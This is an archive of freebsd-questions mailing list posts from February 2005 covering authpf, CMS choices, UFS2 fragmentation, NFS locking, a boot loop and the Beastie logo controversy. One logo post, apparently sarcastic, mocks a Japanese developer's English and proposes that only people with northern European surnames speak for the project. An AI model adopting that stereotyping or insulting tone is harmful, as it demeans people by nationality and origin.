Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A471716A4CE for ; Wed, 9 Feb 2005 21:02:45 +0000 (GMT) Received: from smtpauth05.mail.atl.earthlink.net (smtpauth05.mail.atl.earthlink.net [209.86.89.65]) by mx1.FreeBSD.org (Postfix) with ESMTP id 785A943D2F for ; Wed, 9 Feb 2005 21:02:45 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth05.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1Cyyyr-0006lZ-6Q; Wed, 09 Feb 2005 16:02:37 -0500 From: "Andrew L. Gould" To: Volker Kindermann , Hexren , Vince Hoffman Date: Wed, 9 Feb 2005 15:03:03 -0600 User-Agent: KMail/1.6.2 References: <200502090856.16001.algould@datawok.com> <420A776D.80801@ps102.de> In-Reply-To: <420A776D.80801@ps102.de> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502091503.03868.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bc162e32685ea60a49465e3ade3735104a350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: freebsd-questions@freebsd.org Subject: Re: [OT] easy authpf access from Windows (for non-unix users)? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:02:45 -0000 On Wednesday 09 February 2005 02:49 pm, Volker Kindermann wrote: > Hi Andrew, > > > Is anyone running authpf with Windows clients in the network? If > > so, how are the Windows clients logging in? What's the easiest > > mechanism for this. > > as Hexren posted, putty is good for doing this. You can configure it > so that the user just has to doubleclick the icon and provide the > password. As long as the putty session is open, the rules will be > active. > > I have this running for my spouse. > > > -volker Thanks to all of you for your help. Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:07:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6B13F16A4CE for ; Wed, 9 Feb 2005 21:07:33 +0000 (GMT) Received: from Shenton.org (23.ebbed1.client.atlantech.net [209.190.235.35]) by mx1.FreeBSD.org (Postfix) with SMTP id 61DA443D1D for ; Wed, 9 Feb 2005 21:07:32 +0000 (GMT) (envelope-from chris@Shenton.Org) Received: (qmail 31893 invoked by uid 1001); 9 Feb 2005 21:07:29 -0000 From: Chris Shenton To: FreeBSD Questions References: <20050208230206.GA88486@keyslapper.net> <20050209171513.GA18088@keyslapper.net> Date: Wed, 09 Feb 2005 16:07:29 -0500 In-Reply-To: <20050209171513.GA18088@keyslapper.net> (Louis LeBlanc's message of "Wed, 9 Feb 2005 12:15:14 -0500") Message-ID: <86sm45jvce.fsf@PECTOPAH.shenton.org> User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: maybe slightly OT - web content management kits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:07:33 -0000 Louis LeBlanc writes: >> I'm trying to find a good website management system. Content >> management. I'm running Apache 2.0 with (among others) mod_perl2, (perl >> 5.8.6) and Jakarta Tomcat 5.0. > http://www.opensourcecms.com/ > I'm probably going to try a few out, since there's only a couple in the > ports. Among my top candidates are Mambo, geeklog (in ports), drupal > (also in ports), opencms, Etomite, and Magnolia. While I'm no expert on it, I think Plone may be the most well thought out and fully-featured CMS out there; it also looks real nice, right out of the box, and is fully buzzword-compliant :-). It runs on top of Zope, so there are lots of ways to extend functionality. There are also a bunch of add-on Products which can do all sorts of stuff, from Wikis to PhotoAlbums. Zope's written in Python, so it would not be leveraging your Java and Perl stuff. I front mine with Apache but it's not required to do so. Plone's in ports. There are now three books on Plone which should help you if you want to go this way; McKay's is available online if you want to take a look at what you can do with plone. http://plone.org/ http://docs.neuroinf.de/PloneBook If you want to stay on the Java side, you could check out Jakarta Slide, which calls itself a "low-level content management framework". But that does sound a bit low-level to me. I'm not generally keen on large Perl and PHP suites, even though I've written some myself. Probably just my own phobias. There's another well-featured CMS I've read about -- but haven't played with -- called Bricolage. It's in Perl IIRC. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:29:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 771D216A4CF for ; Wed, 9 Feb 2005 21:29:52 +0000 (GMT) Received: from web53902.mail.yahoo.com (web53902.mail.yahoo.com [206.190.36.212]) by mx1.FreeBSD.org (Postfix) with SMTP id 40FEF43D4C for ; Wed, 9 Feb 2005 21:29:51 +0000 (GMT) (envelope-from stheg_olloydson@yahoo.com) Received: (qmail 50125 invoked by uid 60001); 9 Feb 2005 21:29:50 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=u9cTIrst2T2FXRtBShXef2k2/+EHkSs2GxKnTFRzhRaBxWxR622I7xLc997UnPh3/ubAtM2WY1gFj2Db8PC2J3Dcomj0xjr7A7n+r6OTNdQXc4OMoFolqZoOPH6oRSYPFKB3ZUsp0qYR/GtR/NzaD9BidDQnBvcvZNUBEzDCsrk= ; Message-ID: <20050209212950.50123.qmail@web53902.mail.yahoo.com> Received: from [68.210.34.46] by web53902.mail.yahoo.com via HTTP; Wed, 09 Feb 2005 13:29:50 PST Date: Wed, 9 Feb 2005 13:29:50 -0800 (PST) From: stheg olloydson To: freebsd-advocacy@freebsd.org, freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: core@FreeBSD.org cc: kuriyama@FreeBSD.org Subject: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:29:52 -0000 I was not asked my opinion about whether or not the logo needs changing. I would like to clarify the reason[s] for this. When you say, "The FreeBSD Project is pleased to announce...", the statement implies a majority of the "FreeBSD Project" made this decision. Who is the "FreeBSD Project"? According to the announcement, "The FreeBSD Project is a team of individuals from all corners of the globe who volunteer time and expertise to develop the FreeBSD operating system." When you say "team" do you mean only core? Are those few people the entire "Project"? You don't say that, so whether or not one is a member depends entirely if one volunteers to "develop" FreeBSD. The question is what does "develop" mean. Does one who donates money and/or hardware count? No. By your definition, the Project includes only those who supply "time and expertise" - only those that supply their personal service. What counts as "expertise"? Programming obviously, but what if a person produces only poor quality ports? What about documention? Clearly the person is supplying "time and expertise", but does that count as "developing" FreeBSD? If yes, then what about answering questions on the mailing lists? Would that also count? Now as to the "need" to change the logo, to quote the announcement, "This character sometimes treated with misinterpreted in the religious and cultural context." Over the years, the only complaints I have ever heard have come from America's Taliban. Leaving aside the question of whether or not the complainers are in a position to make any sort of IT decision, one must ask what is their motivation for complaining. They are simply trying to force their religious orthodoxy on others. These are the same people trying to eliminate the barrier between state and church to make the United States into a theocratic country. Therefore, these complaints can be categorized as coming from an irrational minority that should be ignored. A second point is made, "And this daemon character seems cute from somebody's point of view, but somebody may think which does not suit for the professional products to indicate that are using the FreeBSD inside." The point is better phrased as, "The FreeBSD Project has decided that the beastie logo is unprofessional." This being the case, why does the Project think that the best way to get a "professional" logo is follow pretty much the same procedure that led to the beastie logo? Wouldn't a company that specializes in logo design/image consulting be far more qualified to design and select a new logo? Consider how much better Linux is doing in the maketplace than FreeBSD with its professional penguin logo. I, for one, think that logo choice is too important to be left amatuer attempts. A third point that was not raised is what else can be done to make FreeBSD look more professional. All "official" communication should be vetted by and reported as coming from a native American-English speaker. For example, from the announcement, written by Jun Kuriyama, "And this daemon character seems cute from somebody's point of view, but somebody may think which does not suit for the professional products to indicate that are using the FreeBSD inside." The grammar is abominable. How can FreeBSD possibly be taken seriously as a professional product as long as it allows "official" communications to come from those that can barely communicate in American-English? Furthermore, Americans have time and again proven to be among the most xenophobic nationalities, especially toward other races and religions. Any communications should come from someone with an easy-to-pronounce northern European surname (but not French) and, if at all possible, a first name that sounds American. I realize that at first many will find my last point to be offensive, but I think it is just as important as changing the logo and should be given the same consideration. Best Regards, Stheg Olloydson P.S. Many cultures, such as the Japanese, think that "you get what you pay for", so having the name FreeBSD is no different from being named ShiteBSD. I am looking forward to the competition to rename the OS. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:30:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9DCBA16A4CE for ; Wed, 9 Feb 2005 21:30:00 +0000 (GMT) Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mx1.FreeBSD.org (Postfix) with ESMTP id F2F8443D49 for ; Wed, 9 Feb 2005 21:29:59 +0000 (GMT) (envelope-from jas@math.jussieu.fr) Received: from riemann.math.jussieu.fr (riemann.math.jussieu.fr [134.157.13.3])j19LTx3h050948 ; Wed, 9 Feb 2005 22:29:59 +0100 (CET) X-Ids: 164 Received: from galois1.math.jussieu.fr (galois1.math.jussieu.fr [134.157.13.116])j19LTte4064372 ; Wed, 9 Feb 2005 22:29:55 +0100 (CET) Received: from galois1.math.jussieu.fr (localhost.localdomain [127.0.0.1]) j19LTsW8024779 ; Wed, 9 Feb 2005 22:29:54 +0100 Received: (from jas@localhost) by galois1.math.jussieu.fr (8.12.8/8.12.8/Submit) id j19LTsh3024778; Wed, 9 Feb 2005 22:29:54 +0100 Date: Wed, 9 Feb 2005 22:29:54 +0100 From: Albert Shih To: =?iso-8859-1?Q?Charles-Andr=E9?= Landemaine Message-ID: <20050209212954.GC16982@math.jussieu.fr> References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.6i X-Spam-Score: -2.388 () ALL_TRUSTED,PLING_PLING X-Scanned-By: MIMEDefang 2.49 on 134.157.13.3 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.7.2 (shiva.jussieu.fr [134.157.0.164]); Wed, 09 Feb 2005 22:29:59 +0100 (CET) X-Miltered: at shiva.jussieu.fr with ID 420A80D7.000 by Joe's j-chkmail (http://j-chkmail.ensmp.fr)! X-Antivirus: scanned by sophie at shiva.jussieu.fr cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: shih@math.jussieu.fr List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:30:00 -0000 Le 09/02/2005 à 16:32:42-0200, Charles-André Landemaine a écrit > This will sign the death of FreeBSD. > > How could they believe such crap?! Who said beastie is evil?! This is > totally non-sense, it's a logo, it's not the CD cover of a heavy-metal > release...! > > I think the reasons are the same as NetBSD. Do extremist Republicans > threaten BSD distros? > > The word "daemon" in greek means "server" (the person, not the > hardware). This is neither good nor bad, if it has to be either one, > then it's good. > > Oh please, wake me up, it's a nightmare!!! I'm totally agree. I very don't understand why many people need to change something like a logo. My 1/10 cents.... -- Albert SHIH Universite de Paris 7 (Denis DIDEROT) U.F.R. de Mathematiques. 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mark.rowlands@mypost.se List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:33:03 -0000 On Wednesday 09 February 2005 21:06, Timothy Luoma wrote: > On Feb 9, 2005, at 1:56 PM, Chad Morland wrote: > > On Wed, 09 Feb 2005 18:48:19 +0000, Mark Ovens > > > > wrote: > >> See the thread "The FreeBSD Project is announcing a public competition > >> for the new logo design. ????" in -advocacy - I've already replied > >> with > >> my views on the subject, along the same lines as your comments. > > > > I'm not subscribed to -advocacy can you provide me with an archive > > link to this thread in question? I wasn't able to find it based on the > > subject you provided. > > Put "freebsd advocacy" into Google, click on the link for the list, > click on the link for the archive, and check out February's posts. > > There are a total of 4 posts listed, 3 of them with the Subject: > > The FreeBSD Project is announcing a public competition for the new > logo design. ???? > > How hard was that ? > please take this thread elsewhere...anywhere From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:42:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 287BC16A4CE for ; Wed, 9 Feb 2005 21:42:33 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id D878743D1D for ; Wed, 9 Feb 2005 21:42:32 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id A7ECA512AF; Wed, 9 Feb 2005 13:42:31 -0800 (PST) Date: Wed, 9 Feb 2005 13:42:31 -0800 From: Kris Kennaway To: freebsd-questions@freebsd.org Message-ID: <20050209214231.GA65112@xor.obsecurity.org> References: <20050209163433.GW8365@gentoo-npk.bmp.ub> <20050209171039.GD37205@xor.obsecurity.org> <20050209173057.GX8365@gentoo-npk.bmp.ub> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="PEIAKu/WMn1b1Hv9" Content-Disposition: inline In-Reply-To: <20050209173057.GX8365@gentoo-npk.bmp.ub> User-Agent: Mutt/1.4.2.1i Subject: Re: determine ufs2 %fragmentation on mounted filesystem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:42:33 -0000 --PEIAKu/WMn1b1Hv9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 11:30:57AM -0600, Nathan Kinkade wrote: > On Wed, Feb 09, 2005 at 09:10:39AM -0800, Kris Kennaway wrote: > > On Wed, Feb 09, 2005 at 10:34:33AM -0600, Nathan Kinkade wrote: > > > Does anyone know of a way to determine the %fragmentation on a mounted > > > UFS2 filesystem? An entry showed up in messages yesterday stating th= at > > > /usr has moved from time to space optimization yet the filesystem is > > > only at about 25% of it's capacity. From what I can read it seems th= at > > > the kernel might also make this switch if fragmentation becomes > > > excessive. However, this is a busy production machine running Squid,= so > > > I can't conveniently umount /usr. > >=20 > > Try dumpfs(8). > >=20 > > Kris >=20 > I had already tried dumpfs, but couldn't find any information about > actual filesystem fragmentation in the output. Actually, I think you're right..the 'frag' reported there is the fragment size. Kris --PEIAKu/WMn1b1Hv9 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCoPHWry0BWjoQKURApdVAJ97ZejATvuUrbKGvYHd22tSCWMhZgCfcF9T eWH2CwiqtX0EQqgFiAcANtw= =iA+v -----END PGP SIGNATURE----- --PEIAKu/WMn1b1Hv9-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:43:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6B20916A4CE for ; Wed, 9 Feb 2005 21:43:37 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id E707143D48 for ; Wed, 9 Feb 2005 21:43:36 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1Cyzby-000NGZ-6X; Wed, 09 Feb 2005 16:43:02 -0500 Message-ID: <420A8407.9000504@tvog.net> Date: Wed, 09 Feb 2005 16:43:35 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Fafa Diliha Romanova , 'FreeBSD Questions' References: <20050209213114.A542C1CE317@ws1-6.us4.outblaze.com> In-Reply-To: <20050209213114.A542C1CE317@ws1-6.us4.outblaze.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: what a fucking serious problem: really, it *doesn't* boot X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:43:37 -0000 Fafa Diliha Romanova wrote: >really, what's wrong? > >i've installed freebsd 5.3 on my entire harddrive. >but with the standard or freebsd's mbr, it doesn't make any difference: > >ONCE MY COMPUTER ENTERS FREEBSD IT REBOOTS INSTEAD OF BOOTING! > >computer: hp compaq dc7100 >harddrive: seagate barracuda 7200.7 160gb (st3160023as) > >more: http://reviews.zdnet.co.uk/hardware/desktops/0,39023849,39164152,00.htm > http://reviews-zdnet.com.com/HP_Compaq_Business_Desktop_dc7100/4507-3118_16-30919191.html > >i don't know what to do. i can't see what's wrong, since it won't tell >me anything. as i said, all it does is to reboot. in an infinite loop. > >thanks you all, >faffa > > > At what point does it reboot? Have you disabled PnP aware OS in the BIOS? what additional hardware do you have installed? What method did you install FreeBSD with? __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:49:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0803C16A4CE for ; Wed, 9 Feb 2005 21:49:37 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6542343D48 for ; Wed, 9 Feb 2005 21:49:36 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id DC654FD01F; Wed, 9 Feb 2005 22:49:34 +0100 (CET) Message-ID: <420A8568.2090407@locolomo.org> Date: Wed, 09 Feb 2005 22:49:28 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Fafa Diliha Romanova References: <20050209213114.A542C1CE317@ws1-6.us4.outblaze.com> In-Reply-To: <20050209213114.A542C1CE317@ws1-6.us4.outblaze.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: questions@freebsd.org Subject: Re: what a fucking serious problem: really, it *doesn't* boot X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:49:37 -0000 Fafa Diliha Romanova wrote: > really, what's wrong? > > i've installed freebsd 5.3 on my entire harddrive. > but with the standard or freebsd's mbr, it doesn't make any difference: > > i don't know what to do. i can't see what's wrong, since it won't tell > me anything. as i said, all it does is to reboot. in an infinite loop. There is a boot-only cd that you can use for rescue purposes, (I'm not sure if the install cd will work also. The install cd will give you sysinstall so you can repeat any steps that might have failed.) You should be able to get a shell and use the most basic commands, a good one is dmesg - yeah, I know it's a bit difficult to grap the output and paste it in your next post :-(. Things to try: can you mount your partitions? can you find /sbin/init or /stand/sysinstall? Things to post: output of dmesg, your drive partitions, other stuff that you think is usefull. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:52:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1862616A4CF for ; Wed, 9 Feb 2005 21:52:45 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id CB04743D2F for ; Wed, 9 Feb 2005 21:52:44 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id E1091512AF; Wed, 9 Feb 2005 13:52:43 -0800 (PST) Date: Wed, 9 Feb 2005 13:52:43 -0800 From: Kris Kennaway To: Tim Traver Message-ID: <20050209215243.GA13823@xor.obsecurity.org> References: <420A6586.1000302@simplenet.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="9amGYk9869ThD9tj" Content-Disposition: inline In-Reply-To: <420A6586.1000302@simplenet.com> User-Agent: Mutt/1.4.2.1i cc: questions@freebsd.org Subject: Re: NFS File Locking across multiple machines X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:52:45 -0000 --9amGYk9869ThD9tj Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 11:33:26AM -0800, Tim Traver wrote: > Hi all, >=20 > a couple of years back, we ran into a problem with the FreeBSD NFS code= =20 > where file locks were not seen by other machines. >=20 > We use Netapp disk hardware to mount NFS filesystems to our FreeBSD=20 > systems. In the past, two different machines would not recognize locks=20 > from each other, and would sometimes cause file collisions. >=20 > From the same machine, two different processes would recognize locks=20 > without a problem. >=20 > In our experience, the Sun servers that we had also did not have any=20 > problems. This was after creating specific tests to make this determinati= on. >=20 > We reported it to the freebsd developers way back when, and have lost=20 > track as to the status of the issue. >=20 > Does anyone on this list know of the developer that was developing the=20 > NFS code ??? or know anything about the issue ??? or have an answer ??? ;) >=20 > I'd like to talk to him/her to see what the status is in the later=20 > FreeBSD 4.x series as well as 5.x In 4.x and older rpc.lockd does not implement client-side locking. This is documented in the manpage. In 5.x and later rpc.lockd does do client-side locking. Kris --9amGYk9869ThD9tj Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCoYrWry0BWjoQKURAkvyAJ9aBK2rBszpJUZoLnfp+yzNqr9UrwCg62u7 QITU04X5ylFVA0TDvVy0F2Y= =i/x/ -----END PGP SIGNATURE----- --9amGYk9869ThD9tj-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:53:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CEF3416A4CE for ; Wed, 9 Feb 2005 21:53:59 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id BBE0643D31 for ; Wed, 9 Feb 2005 21:53:58 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 09 Feb 2005 21:53:56 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp014) with SMTP; 09 Feb 2005 22:53:56 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: mark.rowlands@mypost.se, freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 22:48:23 +0100 X-Mailer: KMail [version 1.3.2] References: <69b4e2dd170752e597e235bd862e75e8@tntluoma.com> <200502092233.17866.mark.rowlands@mypost.se> In-Reply-To: <200502092233.17866.mark.rowlands@mypost.se> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050209215358.BBE0643D31@mx1.FreeBSD.org> Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:53:59 -0000 On Wednesday 09 February 2005 22:33, Mark Rowlands wrote: > On Wednesday 09 February 2005 21:06, Timothy Luoma wrote: > > On Feb 9, 2005, at 1:56 PM, Chad Morland wrote: > > > On Wed, 09 Feb 2005 18:48:19 +0000, Mark Ovens > > > > > > wrote: > > >> See the thread "The FreeBSD Project is announcing a public competition > > >> for the new logo design. ????" in -advocacy - I've already replied > > >> with > > >> my views on the subject, along the same lines as your comments. > > > > > > I'm not subscribed to -advocacy can you provide me with an archive > > > link to this thread in question? I wasn't able to find it based on the > > > subject you provided. > > > > Put "freebsd advocacy" into Google, click on the link for the list, > > click on the link for the archive, and check out February's posts. > > > > There are a total of 4 posts listed, 3 of them with the Subject: > > > > The FreeBSD Project is announcing a public competition for the new > > logo design. ???? > > > > How hard was that ? > > please take this thread elsewhere...anywhere why? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:54:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7F2E016A4CE for ; Wed, 9 Feb 2005 21:54:47 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 037AC43D1D for ; Wed, 9 Feb 2005 21:54:47 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1Cyzmm-000NdC-GR for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 16:54:12 -0500 Message-ID: <420A86A5.10001@tvog.net> Date: Wed, 09 Feb 2005 16:54:45 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: 'FreeBSD Questions' Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: what a fucking serious problem: really, it *doesn't* boot X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:54:47 -0000 -------- Original Message -------- Subject: Re: what a fucking serious problem: really, it *doesn't* boot Date: Wed, 09 Feb 2005 16:49:32 -0500 From: Fafa Diliha Romanova To: Frank Laszlo hello frank! it reboots before coming to the loader prompt. i have tried disabling acpi/udma etc. in the bios. there are no settings for operating systems. i installed freebsd from the miniinst cd. i've heard of people having the same problem, but they gave up and went to dragonfly. now i don't want to do that. > At what point does it reboot? Have you disabled PnP aware OS in the > BIOS? what additional hardware do you have installed? What method > did you install FreeBSD with? > > __________________________________________________ Forwarding private reply to list. -- __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 